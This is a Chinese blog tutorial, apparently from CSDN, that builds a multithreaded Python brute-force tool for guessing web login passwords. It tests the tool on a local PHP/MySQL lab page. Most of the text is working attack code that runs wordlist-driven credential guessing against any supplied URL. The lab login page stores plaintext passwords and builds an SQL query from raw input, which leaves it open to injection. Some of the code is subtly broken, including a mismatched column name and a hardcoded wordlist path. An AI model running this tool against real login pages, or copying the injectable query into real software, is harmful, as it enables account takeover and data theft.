使用python开发一款基于表单的在线密码破解工具

在线密码破解

  • 什么是在线密码破解
    •   针对在线服务的认证凭证进行合法的用户枚举
      
    •   离线密码破解:拿到密文之后去破解
      
  • Web安全中用来破解的工具Burpsuite
    •   基于表单验证的破解	
      
    •   基于http认证的破解
      

环境搭建

  • phpstudy启动对应服务
    在这里插入图片描述

  • mysql创建本次实验所需环境

    • 创建数据库/数据表/插入数据
  • 编写登录页面

    • html编写登录框
    • php连接数据库并将登录数据进行查询
      登录数据库创建环境
create database test;
create table testbiao(name varchar(25),password varchar(25));
insert into testbiao values("daming","mingda");

sublime text3 编写php连接数据库代码

<html>
<body>
<form action="index.php" method="post">
用户名: <input type="text" name="user"/>
密码: <input type="text" name="password"/>
<input type="submit" name="">
</form>

<?php		#连接mysql数据库
$con = mysqli_connect("127.0.0.1" ,"root","root","test");
echo "欢迎登录<br>";	
$zh = $_POST['user'];
$mima = $_POST['password'];

#将登录名以及登录密码拿到数据库查询
$sql = "select * from testbiao where name = '$zh' and passwd = '$mima'";
$query = mysqli_query($con,$sql);
while($row = mysqli_fetch_array($query))
{	#提取第一条查询到的信息,数据一致则登录成功
echo "<br>login successful <br>"
;}
;#关闭连接
mysqli_free_result($query);
mysqli_close($con);
?>
</body>
</html>

命令行模块介绍

  • optparse模块介绍
    • 使用步骤
      • 导入optparse
      • 初始化optparse.OptionParse
      • 初始化对象的 usage属性
      • 添加参数
      •   parser.add_options(‘-u’,’--userfile’,-dest=”username_file”,-help=’read	username	from	file’,metavar= ‘FILE’,action=’store’,type=’string’)
        
      •   存储提交的命令行参数(options,args)=parser.parse_args()
          使用parser.parse_args()进行存储,使用一个元组来进行接收
          测试输出 print(options.username_file)
        
import optparse
		parser = optparse.OptionParser()
		parser.usage = "command_args.py -u user_file"                                        #dest就是参数存在option中的位置
		parser.add_option("-u","--user_file",help="read username from file",action="store",type="string",metavar="FILE",dest="username_file")
		(option,args) = parser.parse_args()
		print(option.username_file)

输出帮助信息可以看到metavar起到一个占位的作用
在这里插入图片描述
optparse.add_option更多详细信息

1.-u,--userfile 表示一个是短选项 一个是长选项  
2.dest='username_file' 将该用户输入的参数保存到变量user中,可以通过options.user方式来获取该值  
3.type=string,表示这个参数值的类型必须是str字符型,如果是其他类型那么将强制转换为str(可能会报错)  
4.metavar='user',当用户查看帮助信息,如果metavar没有设值,那么显示的帮助信息的参数后面默认带上dest所定义的变量名  
5.help='Enter..',显示的帮助提示信息  
6.default=3306,表示如果参数后面没有跟值,那么将默认为变量default的值  
7.parse.set_defaults(v=1.2)  也可以这样设置默认值  

Web密码破解命令行读取模板编写

  • 需要读取用户名 usernam
  • 需要读取用户密码 password
  • 需要读取目标链接 url
  • 需要读取线程数 threads
import  optparse
	parser = optparse.OptionParser()
	parser.usage=('web_brute_command.py -s url -p pass_file -t num')
	parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
	parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
	parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
	parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
	(options,args) = parser.parse_args()
	print(options.website)
	print(options.userfile)
	print(options.passfile)
	print(options.threads)

输出帮助信息
在这里插入图片描述

payload确定

  • 思路
    • 用户名循环读取,密码根据线程数均分,用户名和密码组合,使用多线程扫描探测
    •   新建一个密码列表[[],[],[]]
        第一,读取所有密码字典中的内容到要给列表中,确定字典行数
        第二,使用临时列表获取到的项数 除以 线程数 来确认每一个线程的项数
      
with open('passwd.txt') as f:
    temp_list = f.readlines()
    temp_thread_list = []	#临时列表用来追加数据
    num = len(temp_list)
    result = num/ths        #使用临时列表获取到的项数 除以 线程数 来确认每一个线程的项数
    result = math.floor(result)	#向下取整获得为整数的线程数
    result_num = result
    flag = 0
    for line in temp_list:
        flag += 1
        temp_thread_list.append(line.strip())
        if flag == result_num:
            flag = 0
            pass_list.append(temp_thread_list)
            temp_thread_list = []   #将临时线程列表初始化等于空
    for line in temp_thread_list:
        pass_list[ths-1].append(line)

密码字典确认与多线程访问

  • 根据线程数确认
  • payload -> pass_list加上用户名组合成一个线程使用的payload
  • Python中的多线程访问
    • Import threading
    • threading.Thread(target=函数名,args=(参数))
    • 开启线程,start()
  • 工具中使用线程多列表
ths_list = []   #用来存储总线程
with open(user_dic,'r') as f:
    user_list = f.readlines()
    for user in user_list:
        for pass_line in pass_list:
            payload = {'user':user.strip(),'pass_list':pass_line}
            ths_list.append(threading.Thread(target=scan,args=(payload,)))
            #payload后跟着,表示传递的是一个元组

for th in ths_list:
    th.start()  #启动线程

扫描模块编写

  • 确认登录失败的字符长度,相比较字符长度比一致的则为破解成功
    • 修改默认的User-Agent
    • 伪造错误的登录信息,
  • requets.post()提交参数
    • 参数获得
      • payload[“user”]
      • payload[“psssword”]
    • 与登录失败的字符长度进行对比
    • 输出登录成功的链接
def test():     #获得登录失败的text长度,后面用于比较
    url = "http://192.168.3.102/index.php"
    header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
    r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
    return len(r.text)
error_len = test()

def scan(payload):
    user = payload["user"]
    pass_list = payload["pass_list"]
    for password in pass_list:
        header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
        r =  requests.post(url=site,data={"user":user,"password":password},headers=header)
        if len(r.text) != error_len:    #判断非登录失败的值
            print("url:", site + "  " + 'username:' + user + "   " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
            print()

完整代码

import optparse
import math
import threading
import requests

parser = optparse.OptionParser()
parser.usage=('web_brute_command.py -s url -p pass_file -t num')
parser.add_option('-s','--site',dest='website',help="website to test",action="store",type="string",metavar="URL")
parser.add_option("-u","--userfile",dest="userfile",help="username from file",action="store",type="string",metavar='USERFILE')
parser.add_option('-p','--passfile',dest="passfile",help="password from file",action="store",type="string",metavar="PASSFILE")
parser.add_option('-t','--thread',dest="threads",help="number of threads",action="store",type="int",metavar=' THREADS')
(options,args) = parser.parse_args()
#使用parser.parse_args()来存储参数,前面使用一个元组来进行接收

ths = options.threads
user_dic = options.userfile
pass_dic = options.passfile
site = options.website


pass_list = []  # 新建一个密码列表[[],[],[]]
result_num = 0  #表示线程要读取内容行数

#第一步,读取所有密码字典中的内容到要给列表中,确定字典行数
with open('passwd.txt') as f:
    temp_list = f.readlines()
    temp_thread_list = []
    num = len(temp_list)
    result = num/ths        #使用临时列表获取到的项数 除以 线程数 来确认每一个线程的项数
    result = math.floor(result)
    result_num = result
    flag = 0
    for line in temp_list:
        flag += 1
        temp_thread_list.append(line.strip())
        if flag == result_num:
            flag = 0
            pass_list.append(temp_thread_list)
            temp_thread_list = []   #将临时线程列表初始化等于空
    for line in temp_thread_list:
        pass_list[ths-1].append(line)

def test():     #获得登录失败的text长度,后面用于比较
    url = "http://192.168.3.102/index.php"
    header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
    r = requests.post(url,data={'user':'asdf','password':'adsf'},headers=header)
    return len(r.text)
error_len = test()


def scan(payload):
    user = payload["user"]
    pass_list = payload["pass_list"]
    for password in pass_list:
        header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"}
        r =  requests.post(url=site,data={"user":user,"password":password},headers=header)
        if len(r.text) != error_len:    #判断非登录失败的值

            print("url:", site + "  " + 'username:' + user + "   " + 'password:' + password + " " + 'length: ' + str(len(r.text)) + "\r\n")
            print()


ths_list = []   #用来存储总线程
with open(user_dic,'r') as f:
    user_list = f.readlines()
    for user in user_list:
        for pass_line in pass_list:
            payload = {'user':user.strip(),'pass_list':pass_line}
            ths_list.append(threading.Thread(target=scan,args=(payload,)))
            #payload后跟着,表示传递的是一个元组

for th in ths_list:
    th.start()  #启动线程

运行效果

在这里插入图片描述

发布了12 篇原创文章 · 获赞 0 · 访问量 579

猜你喜欢

转载自blog.csdn.net/weixin_44344395/article/details/105021564